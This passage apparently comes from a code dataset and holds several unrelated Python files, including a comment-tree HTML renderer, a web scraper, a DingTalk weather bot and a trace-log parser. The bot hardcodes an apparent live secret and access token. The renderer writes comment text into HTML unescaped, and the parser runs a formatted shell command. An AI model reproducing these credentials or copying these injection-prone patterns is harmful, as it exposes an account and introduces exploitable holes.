顶级评论\r\n\t\tcomment_dic[comment_obj] = OrderedDict()\r\n\telse:\r\n\t\tfor k in comment_dic:\r\n\t\t\tif k == comment_obj.parent_comment: # 找到父评论\r\n\t\t\t\tcomment_dic[comment_obj.parent_comment][comment_obj] = {}\r\n\t\t\telse:\r\n\t\t\t\ttree_search(comment_dic[k], comment_obj) # 到下层找\r\n\r\n\r\ndef build_comment_tree(comment_set):\r\n\t\"\"\"\r\n\t将评论按时间先后顺序和父节点生成有序字典\r\n\t:param comment_set: 后台返回的评论结果集\r\n\t:return:\r\n\t\"\"\"\r\n\ttree_dic = OrderedDict()\r\n\tfor comment in comment_set:\r\n\t\tif comment.comment_type == 1:\r\n\t\t\ttree_search(tree_dic, comment)\r\n\treturn tree_dic\r\n\r\n\r\ndef render_comment_tree(comment_tree_dic):\r\n\t\"\"\"\r\n\t遍历得到的有序的评论字典渲染生成前端的html\r\n\t:param comment_tree_dic:\r\n\t:return:\r\n\t\"\"\"\r\n\tcomment_html_str = \"\"\r\n\tfor comment_obj, son_dic in reversed(list(comment_tree_dic.items())): # 按时间先后倒序显示\r\n\t\tele = '''\r\n\t\t\t
\r\n\t\t\t\t
\r\n\t\t\t\t\t\r\n\t\t\t\t\t\t\"{3}的头像\"\r\n\t\t\t\t\t\r\n\t\t\t\t
\r\n\t\t\t
\r\n\t\t\t\t

{3}{4}

\r\n\t\t\t\t

{5}

\r\n\t\t'''.format(\r\n\t\t\tcomment_obj.user.id, # 用户id\r\n\t\t\tcomment_obj.id, # 评论id\r\n\t\t\tcomment_obj.user.get_head_img(), # 头像\r\n\t\t\tcomment_obj.user.name, # 用户名\r\n\t\t\tdatetime_handler.readable_date(comment_obj.date), # 处理过的发布日期\r\n\t\t\tcomment_obj.comment, # 评论内容\r\n\r\n\t\t)\r\n\t\tif son_dic: # 如果还有子评论\r\n\t\t\tele += render_comment_tree(son_dic)\r\n\t\t\tele += \"
\"\r\n\t\telse: # 结束子评论\r\n\t\t\tele += \"
\"\r\n\t\tele += \"\"\r\n\t\tcomment_html_str += ele\r\n\treturn comment_html_str\r\n\r\n\r\n'''\r\n
\r\n
\r\n \r\n \"...\"\r\n \r\n
\r\n
\r\n

Media heading

\r\n ...\r\n
\r\n
\r\n'''\r\n\r\n'''\r\n\r\n{6}\"\r\n回复\r\n\r\n'''","sub_path":"day21/homework/s12bbs/bbs/bll/comments_handler.py","file_name":"comments_handler.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"235230673","text":"### required libraries\n# data wrangling\nimport pandas as pd \nimport numpy as np\n# scraping\nfrom bs4 import BeautifulSoup \nimport requests as rq\n\ndef levels_to_df(years_list, stations_list, verbose=False):\n '''\n for every year and station, retrieves levels\n than stores all data in a single pandas dataframe and returns\n '''\n \n complete = []\n\n for year in years_list:\n for station in stations_list:\n if verbose:\n print('Year: ' + year + ' \\t ' + 'Station: ' + station)\n complete.append(retrieve_level(year, station))\n \n if verbose:\n print('preparing dataframe...')\n return to_dataframe(complete)\n\n\ndef retrieve_level(year, station):\n '''\n Download csv file for the year and station specified in parameters\n Returns: list in wide format: station_id, year, type, Jan, Feb, ecc.\n '''\n \n BASE_URL = 'https://www.arpa.veneto.it/bollettini/storico/'\n PAGE_SFX = '_LIVIDRO.htm'\n \n url = BASE_URL+year+'/'+station+'_'+year+PAGE_SFX\n \n soup = BeautifulSoup(rq.get(url).content, features='lxml')\n tables_list = soup.find_all(\"table\")\n rows = [] ##list of rows to return\n\n \n for n, table in enumerate([tables_list[2], tables_list[5], tables_list[8]]):\n #table2: min level, table5: avg level, table8: max level (daily data)\n if n == 0:\n lev_type = 'MIN'\n elif n == 1:\n lev_type = 'AVG'\n else:\n lev_type = 'MAX'\n \n \n for tr in table.find_all('tr')[1:32]:\n row = []\n row.append(year)\n row.append(station)\n row.append(lev_type)\n \n for j, elem in enumerate(tr.find_all()): \n if j == 0 and elem.name == 'th':\n row.append(elem.text)\n else: \n if elem.name == 'td':\n if elem.text == '>>':\n row.append(np.nan)\n else:\n row.append(elem.text)\n elif elem.name == 'th':\n row.append(-999.99)\n rows.append(row) \n \n return rows\n\ndef to_dataframe(list):\n df = pd.DataFrame(columns=['year', 'station', 'lev_type', 'day', 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'])\n for d in list:\n for r in d:\n df.loc[len(df)] = r\n return df","sub_path":".ipynb_checkpoints/load_data-checkpoint.py","file_name":"load_data-checkpoint.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"115254176","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\" timecard.xls(xlsx)から出勤日時取得\n\"\"\"\n\nimport sys\nimport re\nimport xlrd\n\n\ndef excel_date(num):\n # excelの時刻をdatetimeに変換\n from datetime import datetime, timedelta\n return(datetime(1899, 12, 30) + timedelta(days=num))\n\n\ndef workdate(fname):\n \"\"\" dcolumnとwcolumnがfloatなら出勤 \"\"\"\n nsheet = 0\n wcolumn = 6\n dcolumn = 1\n wds = []\n try:\n book = xlrd.open_workbook(fname)\n sheet = book.sheets()[nsheet]\n for row in range(sheet.nrows-1):\n wh = sheet.cell_value(row, wcolumn)\n wd = sheet.cell_value(row, dcolumn)\n if type(wh) == float and type(wd) == float:\n wds.append(wd)\n except Exception as e:\n print(e, book, nsheet, row)\n return wds\n\n\ndef workcvs(wds):\n for wd in wds:\n print(\"{0},{1},5000,0\".format(wd, 'ATC'))\n\n\nif __name__ == '__main__':\n if (len(sys.argv) == 2):\n fname = sys.argv[1]\n workcvs(workdate(fname))\n else:\n print(\"{0} file\".format(sys.argv[0]))\n","sub_path":"xlstimecard.py","file_name":"xlstimecard.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"60988994","text":"import modules.banco as banco\nimport threading\n\nif __name__ == \"__main__\":\n db = banco.BancoMongo()\n user = input(\"Nickname: \")\n try:\n f = threading.Thread(target=db.visuaizar)\n f.start()\n except Exception as e:\n print('Falha ao criar thread: {}'.format(e))\n while f.is_alive:\n mens = input()\n db.cadastrar(user, mens)","sub_path":"aulas/chat/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"108183053","text":"\nSETUP_INFO = dict(\n name = 'play',\n version = '0-develop-1-gd67cd85',\n author = 'Guy Rozendorn',\n author_email = 'guyr@infinidat.com',\n\n url = 'http://www.infinidat.com',\n license = 'PSF',\n description = \"\"\"short description here\"\"\",\n long_description = \"\"\"long description here\"\"\",\n\n # http://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers = [\n \"Intended Audience :: Developers\",\n \"Intended Audience :: System Administrators\",\n \"License :: OSI Approved :: Python Software Foundation License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n\n install_requires = ['distribute'],\n namespace_packages = [],\n\n # packages = find_packages('src'),\n package_dir = {'': 'src'},\n include_package_data = True,\n zip_safe = False,\n\n entry_points = dict(\n console_scripts = [],\n gui_scripts = []),\n )\n\nplatform_install_requires = {\n 'windows' : [],\n 'linux' : [],\n 'macosx' : [],\n}\n\ndef _get_os_name():\n import platform\n system = platform.system().lower().replace('-', '').replace('_', '')\n if system == 'darwin':\n return 'macosx'\n return system\n\n\ndef setup():\n from setuptools import setup as _setup\n from setuptools import find_packages\n SETUP_INFO['packages'] = find_packages('src')\n SETUP_INFO['install_requires'] += platform_install_requires[_get_os_name()]\n _setup(**SETUP_INFO)\n\nif __name__ == '__main__':\n setup()\n\n","sub_path":"pypi_install_script/play-0-develop-1-gd67cd85.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"144099740","text":"#!/usr/bin/python3\n\n'''钉钉机器人-天气助手'''\n\nimport requests\nimport json\nimport time\nimport hmac\nimport hashlib\nimport base64\nfrom urllib.parse import quote_plus\n\ndef get_weather():\n url = 'http://www.weather.com.cn/data/sk/101010100.html'\n result = requests.get(url)\n result.encoding = 'utf8'\n weather = result.json()['weatherinfo']\n return [weather['city'], weather['temp'], weather['WD'], weather['WS'], weather['SD'], weather['time']]\n\ndef get_secret(secret):\n timestamp = int(round(time.time() * 1000))\n string_to_sign = '%s\\n%s' % (timestamp, secret)\n hmac_code = hmac_code = hmac.new(secret.encode('utf-8'), string_to_sign.encode('utf-8'), digestmod=hashlib.sha256).digest()\n sign = quote_plus(base64.b64encode(hmac_code))\n return [timestamp, sign]\n\ndef ding_talk(url, secret, weather):\n url = url % (secret[0], secret[1])\n headers = {'Content-Type': 'application/json; charset=utf-8'}\n data = {\n \"msgtype\": \"markdown\",\n \"markdown\": {\n \"title\": \"今日天气情况\",\n \"text\": \"**城市:** %s \\t\\t\" % weather[0] + \"**温度:** %s ℃ \\n\\n\" % weather[1] +\n \"**风向:** %s \\t\\t\" % weather[2] + \"**风力:** %s \\n\\n\" % weather[3] +\n \"**湿度:** %s \\t\\t\" % weather[4] + \"**更新:** %s \\n\\n\" % weather[5]\n }\n }\n r = requests.post(url, data=json.dumps(data), headers=headers)\n\nif __name__ == '__main__':\n secret = 'SECa3cdb0fcd73cbdddba6ebc8f924342aab24b5efef3251b4b239d3470e21f6b4c'\n url = 'https://oapi.dingtalk.com/robot/send?access_token=51637853748be7fb18413312250d28cc82fe7904966b0a649da28d5a94eaeae4×tamp=%s&sign=%s'\n weather = get_weather()\n secret = get_secret(secret)\n ding_talk(url, secret, weather)\n\n","sub_path":"python_11.py","file_name":"python_11.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"60266073","text":"from PIL import Image\nimport os\nimport cv2\nimport numpy as np\n\ndef cropImg(img):\n \"\"\"裁剪原始截图\"\"\"\n height = img.shape[0]\n img2 = img[int(0.36 * height):int(0.56 * height),:]\n # img2 = img[int(0.38 * height):int(0.6 * height), int(0.3 * width):int(0.7 * width)]\n #print('裁剪完毕')\n return img2\n\n\ndef binaryImg(img):\n \"\"\"二值化图片\"\"\"\n ret, thresh1 = cv2.threshold(img, 200, 255, cv2.THRESH_BINARY)\n #print('二值化完毕')\n return thresh1\n\ndef cropAgain(img):\n height = img.shape[0]\n img1 = img[0:int(0.5 * height), :]\n img2 = img[int(0.5 * height):height, :]\n #print('再次裁剪完毕')\n return img1, img2\n\ndef cutImg(img, filename):\n sum_list = np.array(img).sum(axis=0)\n start_index = -1\n res = []\n names = []\n index = 0\n for sum in sum_list:\n if sum > 255 * 4:\n if start_index == -1:\n start_index = index\n else:\n if start_index != -1:\n res.append((start_index, index))\n start_index = -1\n index += 1\n\n count = 0\n for single_char in res:\n start = single_char[0]\n end = single_char[1]\n sub_img = img[:, start:end]\n sub_img = cv2.resize(sub_img, (120, 240), interpolation=cv2.INTER_CUBIC)\n cv2.imwrite('SingleChar/%s_%d.png' % (filename, count), sub_img)\n names.append('%s_%d.png' % (filename, count))\n count += 1\n #print('分割,重新设置大小 %s 完毕' %filename)\n return names\n\ndef all(img, filename):\n img = cropImg(img)\n img = binaryImg(img)\n img1, img2 = cropAgain(img)\n names = cutImg(img1, filename + '_1') + cutImg(img2, filename + '_2')\n return names\n\n#img = Image.open(\"ScreenShoot/200.png\")\n# print(img.size)\n# width = img.size[0]\n# height = img.size[1]\n# img2 = img.crop((0.27 * width, 0.6 * height, 0.73 * width, 0.8 * height))\n# img2.show()\n# (0.27,0.8) (0.73,0.8)\n\n\n\n\n\n\n","sub_path":"img_tool.py","file_name":"img_tool.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"316267735","text":"#!/usr/bin/env python\nfrom itertools import product\nimport os\nfrom subprocess import run\nfrom pathlib import Path\n\n\nBASE_DIR = Path(__file__).parents[1].resolve()\n\n\nfor i, j, snap_id in product(range(2), range(4), range(173)):\n halo_name = f'h{i}{j}'\n snap_id3 = f'{snap_id:03d}'\n run_dir = BASE_DIR / f'run/z2m12_{halo_name}_ref13'\n snap_file = run_dir / f'output/snapdir_{snap_id3}/snapshot_{snap_id3}.0.hdf5'\n ewah_file = run_dir / f'output/snapdir_{snap_id3}/snapshot_{snap_id3}.0.hdf5.index7_5.ewah'\n if snap_file.exists() and not ewah_file.exists():\n os.environ['SNAP'] = str(snap_file)\n job_name = f'index-{halo_name}-{snap_id3}'\n print('Submiting', job_name)\n run(['qsub', '-N', job_name, '-o', f'job/{job_name}.log', 'job/index.sh'])\n","sub_path":"post-process/job/index-submit-all.py","file_name":"index-submit-all.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"41297173","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n__author__ = 'shenojia'\n\"\"\"\n\" Revisions:{{{\n\" > 1.2.0: 2016/09/05\n\" show sec as float\n\" > 1.1.9: 2016/09/05\n\" add fixed part for frame blocks\n\" > 1.1.8: 2016/09/01\n\" fix a bug on frame detect and split. need to check [] first, otherwise will return empty list\n\" > 1.1.7: 2016/09/01\n\" introduce anchor conecpt to help parse data within line scope\n\" improve -l option, show detail items too when list all supported report items\n\" > 1.1.6: 2016/08/31\n\" support frame based trace parsing\n\" > 1.1.5: 2016/08/12\n\" adjust the column order in xlsx, use time as the last before data\n\" this make plot much easier when select interested data\n\" > 1.1.4: 2016/08/12\n\" fix bug on snid entry\n\" > 1.1.3: 2016/08/12\n\" add report list query functionalist\n\" > 1.1.2: 2016/08/11\n\" combine prefix res, using a general data type based long re to extract data entries\n\" > 1.1.1: 2016/08/10\n\" improve on flex report index selection 1 2 3-5 8 ==> 1 2 3 4 5 8\n\" > 1.1.0: 2016/08/10\n\" fix bug on line raw data parse, when meet ,[x x x], like array counters\n\" expand all vectors in to single list\n\" > 1.0.9: 2016/08/10\n\" create pools with number of actual cpu_count\n\" > 1.0.8: 2016/08/10\n\" clean old dedicate data collection function. replace with general method\n\" > 1.0.7: 2016/08/10\n\" introduce report configuration, data collect based on config database and report list\n\" > 1.0.6: 2016/08/09\n\" introduce a reportList arg to support part golden trace filtering\n\" > 1.0.5: 2016/08/09\n\" introduce multiprocessing based on dummy class, using map method to\n\" achieve great and easy parallel trace processing, since most time is cost in line process,\n\" there is no big difference when handle big file trace\n\" > 1.0.4: 2016/08/09\n\" ok for GOLDEN CE_UTIL1, S-RLS/N-RLS\n\" > 1.0.3: 2016/08/08\n\" ok for Sched_Load\n\" > 1.0.2: 2016/08/08\n\" ok for Sched_Misc2\n\" > 1.0.1: 2016/08/08\n\" ok for UE status4\n\" > 1.0.0: 2016/08/08\n\" draft based\n\"}}}\n\n\n\n\n\nhttp://chriskiehl.com/article/parallelism-in-one-line/\n\n\"\"\"\n\nimport os\nfrom subprocess import call, check_output\nfrom datetime import datetime\nfrom datetime import timedelta\nimport re\nimport numpy as np\nimport json\nimport pandas as pd\nimport itertools\nimport collections\nfrom bitstring import BitString, BitArray, BitStream, Bits, pack\nfrom pandas import ExcelWriter\nfrom xlsxwriter.utility import *\n\n\nfrom multiprocessing import cpu_count\nfrom multiprocessing import Pool\nfrom multiprocessing.dummy import Pool as ThreadPool\nimport itertools\n\nimport time\nimport functools\n\ndef timing(f):\n def wrap(*args):\n time1 = time.time()\n ret = f(*args)\n time2 = time.time()\n print ('%s function took %0.3f ms' % (f.__name__, (time2-time1)*1000.0))\n return ret\n return wrap\n\ndef timeit(func):\n @functools.wraps(func)\n def newfunc(*args, **kwargs):\n startTime = time.time()\n func(*args, **kwargs)\n elapsedTime = time.time() - startTime\n print('function [{}] finished in {} ms'.format(\n func.__name__, int(elapsedTime * 1000)))\n return newfunc\n\n# http://code.activestate.com/recipes/410692/\n# This class provides the functionality we want. You only need to look at\n# this if you want to know how this works. It only needs to be defined\n# once, no need to muck around with its internals.\nclass switch(object):\n def __init__(self, value):\n self.value = value\n self.fall = False\n\n def __iter__(self):\n \"\"\"Return the match method once, then stop\"\"\"\n yield self.match\n raise StopIteration\n\n def match(self, *args):\n \"\"\"Indicate whether or not to enter a case suite\"\"\"\n if self.fall or not args:\n return True\n elif self.value in args: # changed for v1.5, see below\n self.fall = True\n return True\n else:\n return False\n\n\ndef numexpand(x):\n \"\"\"\n 1 2 3 4-7 8 ==> 1 2 3 4 5 6 7 8\n \"\"\"\n result = []\n for part in x:\n if '-' in part:\n a, b = part.split('-')\n a, b = int(a), int(b)\n result.extend(range(a, b + 1))\n else:\n a = int(part)\n result.append(a)\n return result\n\nclass Data(object):\n def __init__(self):\n self._jsonConfig = None\n self._reportList = None\n self._pf = None\n self._currentReportIndex = 0\n self._writer = None\n self.siteName = \"RBS\"\n self.sheetLinkRow = 0\n\n def initContentSheet(self, args):\n \"\"\"\n create an empty content sheet\n \"\"\"\n\n if args.outFile:\n self._writer = ExcelWriter(\"{}_{}.xlsx\".format(args.outFile, self.siteName), engine='xlsxwriter')\n else:\n self._writer = ExcelWriter(\"{}_{}.xlsx\".format(args.logFile, self.siteName), engine='xlsxwriter')\n contentDf = pd.DataFrame()\n contentDf.to_excel(self._writer, sheet_name=\"Contents\")\n contentSheet = self._writer.sheets[\"Contents\"]\n self.sheetLinkRow = 0\n contentSheet.write_string(xl_rowcol_to_cell(self.sheetLinkRow, 0), \"TraceType\")\n contentSheet.write_string(xl_rowcol_to_cell(self.sheetLinkRow, 1), \"SheetName\")\n contentSheet.write_string(xl_rowcol_to_cell(self.sheetLinkRow, 2), \"Description\")\n self.sheetLinkRow += 1\n\n self.loadJsonConfig(args.jsonConfigFile)\n\n\n def loadJsonConfig(self, jsonConfigFile):\n assert(os.path.exists(jsonConfigFile))\n with open(jsonConfigFile, encoding='utf-8') as jsonFile:\n self._jsonConfig = json.load(jsonFile)\n self._reportList = [int(k) for k in self._jsonConfig[\"reports\"].keys()]\n self._reportList.sort()\n\n\n def listReports(self, jsonConfigFile):\n assert(os.path.exists(jsonConfigFile))\n with open(jsonConfigFile, encoding='utf-8') as jsonFile:\n self._jsonConfig = json.load(jsonFile)\n self._reportList = [int(k) for k in self._jsonConfig[\"reports\"].keys()]\n self._reportList.sort()\n print(\"{:<6}{:<20}{:<30} {} {} \".format(\"Index\", \"Name\", \"group\", \"description\", \"items\"))\n for r in self._reportList:\n report = self._jsonConfig[\"reports\"][str(r)]\n print(\"\\n{:<6}{:<20}{:<30} {} \\n{} \".format(r, report[\"name\"], report[\"traceGroupName\"], report[\"description\"], report[\"items\"]))\n\n def framesDetection(self,line):\n \"\"\"\n detect line trace is frame based or just simple pattern\n if frame based, return a list of sub lines\n \"\"\"\n line = re.sub(\"\\[\",\"\",line)\n lines = None\n if \"]\" in line:\n lines = line.split(\"]\")[0:-1]\n else:\n lines = [line]\n\n return lines\n\n @timeit\n def dataCollectGolden(self, args):\n \"\"\"\n data collect based on json Config\n \"\"\"\n report = self._jsonConfig[\"reports\"][self._currentReportIndex]\n traceName = report[\"name\"]\n print(\"--start collecting data for reportIndex:{} -->traceLevel:{} traceGroupName:{} traceGroupId:{} ==>detailTag:{}\".\\\n format(self._currentReportIndex, \\\n report[\"traceLevel\"], \\\n report[\"traceGroupName\"], \\\n report[\"traceGroupId\"], \\\n report[\"name\"]))\n fileName = report[\"sheetName\"]\n sheetName = report[\"sheetName\"]\n lenItems = len(report[\"items\"])\n\n if os.path.exists(fileName):\n os.remove(fileName)\n call(\"ag '{0}' {1} > {2}\".format(report[\"pattern\"], args.logFile, fileName), shell = True)\n\n if os.path.getsize(fileName) == 0:\n print(\"o_! done parsing, no available entries found\")\n return\n\n contentSheet = self._writer.sheets[\"Contents\"]\n dataDict = collections.OrderedDict()\n dataDict['board'] = []\n dataDict['role'] = []\n dataDict['snid'] = []\n dataDict['traceCategory'] = []\n dataDict['date'] = []\n dataDict['hour'] = []\n dataDict['min'] = []\n dataDict['sec'] = []\n p_prefix = re.compile('[[](\\d{4}-\\d{2}-\\d{2}) (\\d{2}):(\\d{2}):(\\d{2}[.]\\d{3})[]].*[[]000([12])00.*[]].*(EULSR|DCHSR|HSSR|UlDch|UlCch|UlTch)(\\d+)_(\\w+)')\n\n\n\n p = \"\"\n d = \"\\D*(-?\\d+)\"\n u = \"\\D*(\\d+)\"\n x = \"[^0-9a-fA-F]*([0-9a-fA-F]+)\"\n s = \"\\W*(\\w+)\"\n for dtype in report[\"dtypes\"]:\n if dtype == \"d\":\n p = p + d\n elif dtype == \"x\":\n p = p + x\n elif dtype == \"u\":\n p = p + u\n elif dtype == \"s\":\n p = p + s\n p_data = re.compile(p)\n\n entriesFixedPartForFrames = None\n p_fixedPartForFramesData = None\n hasFixedPartForFrames = False\n lenfixedPartForFramesItems = 0\n if \"fixedPartForFramesItems\" in report and \"fixedPartForFramesDtypes\" in report:\n hasFixedPartForFrames = True\n lenfixedPartForFramesItems = len(report[\"fixedPartForFramesDtypes\"])\n p = \"\"\n for dtype in report[\"fixedPartForFramesDtypes\"]:\n if dtype == \"d\":\n p = p + d\n elif dtype == \"x\":\n p = p + x\n elif dtype == \"u\":\n p = p + u\n elif dtype == \"s\":\n p = p + s\n\n p_fixedPartForFramesData = re.compile(p)\n for item in report[\"fixedPartForFramesItems\"]:\n dataDict[item] = []\n\n\n\n for item in report[\"items\"]:\n dataDict[item] = []\n\n entryIndex = 0\n goldenOnly = False\n\n with open(fileName) as f:\n for line in f:\n entryIndex += 1\n if args.maxEntries >0 and entryIndex>args.maxEntries:\n break\n\n m = p_prefix.search(line)\n (date, hour, min, sec, board, role, snid, category)=m.groups()\n\n #scalar part for frames\n if hasFixedPartForFrames:\n dataBlockStart = line.index(report[\"anchorFixedPartForFrames\"])+len(report[\"anchorFixedPartForFrames\"])\n lineFixedPart = line[dataBlockStart:].strip()\n m = p_fixedPartForFramesData.search(lineFixedPart)\n if len(m.groups()) != lenfixedPartForFramesItems:\n print(\"ABN trace line for fixedPartForFramesEntries, check pattern again\")\n else:\n entriesFixedPartForFrames = m.groups()\n\n\n # pattern to is filter out the line, when pattern don't contain regex, pattern and anchor can be same\n # anchor is to indicate start of exact content include data within the line. must be raw string line\n if \"anchor\" in report:\n dataBlockStart = line.index(report[\"anchor\"])+len(report[\"anchor\"])\n else:\n dataBlockStart = line.index(report[\"pattern\"])+len(report[\"pattern\"])\n line = line[dataBlockStart:].strip()\n\n\n\n # frame detect\n lines = self.framesDetection(line)\n for line in lines:\n entries = []\n m = p_data.search(line)\n if len(m.groups()) != lenItems:\n print(\"ABN trace line, check pattern again\")\n continue\n else:\n entries = m.groups()\n\n for (entry, item, dataType) in zip(entries, report[\"items\"], report[\"dtypes\"]):\n if dataType == \"d\":\n dataDict[item].append(int(entry))\n elif dataType == \"x\":\n dataDict[item].append(int(entry, 16))\n elif dataType == \"u\":\n dataDict[item].append(int(entry))\n else:\n dataDict[item].append(entry)\n dataDict['date'].append(date)\n dataDict['hour'].append(int(hour))\n dataDict['min'].append(int(min))\n dataDict['sec'].append(float(sec))\n dataDict['board'].append(int(board))\n dataDict['role'].append(role)\n dataDict['snid'].append(int(snid))\n dataDict['traceCategory'].append(category)\n if hasFixedPartForFrames :\n for (entry, item, dataType) in zip(entriesFixedPartForFrames, report[\"fixedPartForFramesItems\"], report[\"fixedPartForFramesDtypes\"]):\n if dataType == \"d\":\n dataDict[item].append(int(entry))\n elif dataType == \"x\":\n dataDict[item].append(int(entry, 16))\n elif dataType == \"u\":\n dataDict[item].append(int(entry))\n else:\n dataDict[item].append(entry)\n\n\n\n index = list(range(entryIndex))\n df = pd.DataFrame(dataDict)\n df.to_excel(self._writer, sheetName)\n\n link_format = self._writer.book.add_format({'color': 'blue', 'underline': 1})\n link_text = sheetName\n contentSheet.write_string(xl_rowcol_to_cell(self.sheetLinkRow, 0), sheetName)\n contentSheet.write_url(xl_rowcol_to_cell(self.sheetLinkRow, 1),\n \"internal:'{}'!A1\".format(sheetName), link_format, link_text)\n contentSheet.write_string(xl_rowcol_to_cell(self.sheetLinkRow, 2), report[\"description\"])\n contentSheet.write_string(xl_rowcol_to_cell(self.sheetLinkRow, 3), \" \".join(report[\"items\"]))\n self.sheetLinkRow += 1\n df = None\n dataDict.clear()\n print(\"^_^ done parsing, check sheet {} in {} for detail\".format(sheetName, self._writer.path))\n # os.remove(traceName)\n\n\n def dataRefine(self, args, reportIndex):\n \"\"\"\n data refine based on dedicate report index\n \"\"\"\n for case in switch(reportIndex):\n if case(14):\n\n break\n\n pass\n\n def dataIO(self, args):\n \"\"\"\n IO data for possible extension\n \"\"\"\n pass\n\n\ndef startTable(data, args, reportIndex):\n \"\"\"\n seperate a big trace file into several small traces files with different trace file\n \"\"\"\n if (reportIndex in data._reportList):\n data._currentReportIndex = str(reportIndex)\n data.dataCollectGolden(args)\n else:\n print(\"report index {} is not found in {}, skip data collecting\".format(reportIndex, args.jsonConfigFile))\n\n@timeit\ndef work(args):\n\n if args.list:\n data = Data()\n data.listReports(args.jsonConfigFile)\n\n return\n\n print(\"start working ...\")\n\n data = Data()\n data.initContentSheet(args)\n pool = ThreadPool(cpu_count()) # Set the pool size to 4\n fullList = numexpand(args.reportList)\n pool.starmap(startTable,zip(itertools.repeat(data), itertools.repeat(args), fullList))\n pool.close()\n pool.join()\n data._writer.save()\n\ndef main():\n from argparse import ArgumentParser\n from argparse import ArgumentDefaultsHelpFormatter\n from argparse import RawTextHelpFormatter\n parser = ArgumentParser(\\\n description = \"\"\"mygold is to filter interested traces out and save to excel\n mygold.py -l to show all availabe traces\n \"\"\",\n formatter_class = RawTextHelpFormatter \\\n )\n parser.add_argument('-version', '-v', action = 'version', version = '1.0.0')\n parser.add_argument('-f', '--logFile',\n type = str,\n required = False,\n dest = 'logFile',\n default ='',\n metavar = '',\n help = r\"\"\"log file contain raw data for numpy\n \"\"\")\n\n parser.add_argument('-o', '--outFile',\n type=str,\n required=False,\n dest='outFile',\n default='',\n metavar='',\n help=r\"\"\"out put excel file name\n \"\"\")\n\n parser.add_argument('-m', '--maxEntries',\n type=int,\n required=False,\n dest='maxEntries',\n default=0,\n metavar='',\n help=r\"\"\"max number of entries to parse\n \"\"\")\n\n parser.add_argument('-r', '--report',\n type=str,\n nargs='+',\n required=False,\n dest='reportList',\n default=[0],\n metavar='',\n help=r\"\"\"report index selection, for multiple reports using space to seperate.\n 1 or 1 3 or 1 2 3-5 6\n \"\"\"\n )\n\n\n parser.add_argument('-l', '--list',\n action='store_true', \\\n help='list avaiable report options')\n\n parser.add_argument('-j', '--jsonConfig',\n type = str,\n required = False,\n dest = 'jsonConfigFile',\n default='/home/xjiashe/workspace/python/mygold/config.json',\n metavar = '',\n help = r\"\"\"jsonConfigFile for different kind of external configuration\n \"\"\")\n args = parser.parse_args()\n\n work(args)\n # workold(args)\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"mygold.py","file_name":"mygold.py","file_ext":"py","file_size_in_byte":17854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"529182464","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\nfrom keras import backend as K\n\ntry:\n xrange\nexcept NameError:\n xrange = range\n\n\ndef _keras_unstack_hack(ab):\n \"\"\"Implements tf.unstack(y_true_keras, num=2, axis=-1).\n Keras-hack adopted to be compatible with theano backend.\n \"\"\"\n ndim = len(K.int_shape(ab))\n if ndim == 0:\n print('can not unstack with ndim=0')\n else:\n a = ab[..., 0]\n b = ab[..., 1]\n return a, b\n\n\ndef output_lambda(x, init_alpha=1.0, max_beta_value=5.0, max_alpha_value=None):\n \"\"\"Elementwise (Lambda) computation of alpha and regularized beta.\n\n Alpha:\n (activation)\n Exponential units seems to give faster training than\n the original papers softplus units. Makes sense due to logarithmic\n effect of change in alpha.\n (initialization)\n To get faster training and fewer exploding gradients,\n initialize alpha to be around its scale when beta is around 1.0,\n approx the expected value/mean of training tte.\n Because we're lazy we want the correct scale of output built\n into the model so initialize implicitly;\n multiply assumed exp(0)=1 by scale factor `init_alpha`.\n\n Beta:\n (activation)\n We want slow changes when beta-> 0 so Softplus made sense in the original\n paper but we get similar effect with sigmoid. It also has nice features.\n (regularization) Use max_beta_value to implicitly regularize the model\n (initialization) Fixed to begin moving slowly around 1.0\n\n Assumes tensorflow backend.\n\n Args:\n x: tensor with last dimension having length 2\n with x[...,0] = alpha, x[...,1] = beta\n\n Usage:\n model.add(Dense(2))\n model.add(Lambda(output_lambda, arguments={\"init_alpha\":100., \"max_beta_value\":2.0}))\n Returns:\n A positive `Tensor` of same shape as input\n \"\"\"\n a, b = _keras_unstack_hack(x)\n\n # Implicitly initialize alpha:\n if max_alpha_value is None:\n a = init_alpha * K.exp(a)\n else:\n a = init_alpha * K.clip(x=a, min_value=K.epsilon(),\n max_value=max_alpha_value)\n\n m = max_beta_value\n if m > 1.05: # some value >>1.0\n # shift to start around 1.0\n # assuming input is around 0.0\n _shift = np.log(m - 1.0)\n\n b = K.sigmoid(b - _shift)\n else:\n b = K.sigmoid(b)\n\n # Clipped sigmoid : has zero gradient at 0,1\n # Reduces the small tendency of instability after long training\n # by zeroing gradient.\n b = m * K.clip(x=b, min_value=K.epsilon(), max_value=1. - K.epsilon())\n\n x = K.stack([a, b], axis=-1)\n\n return x\n\n\nclass 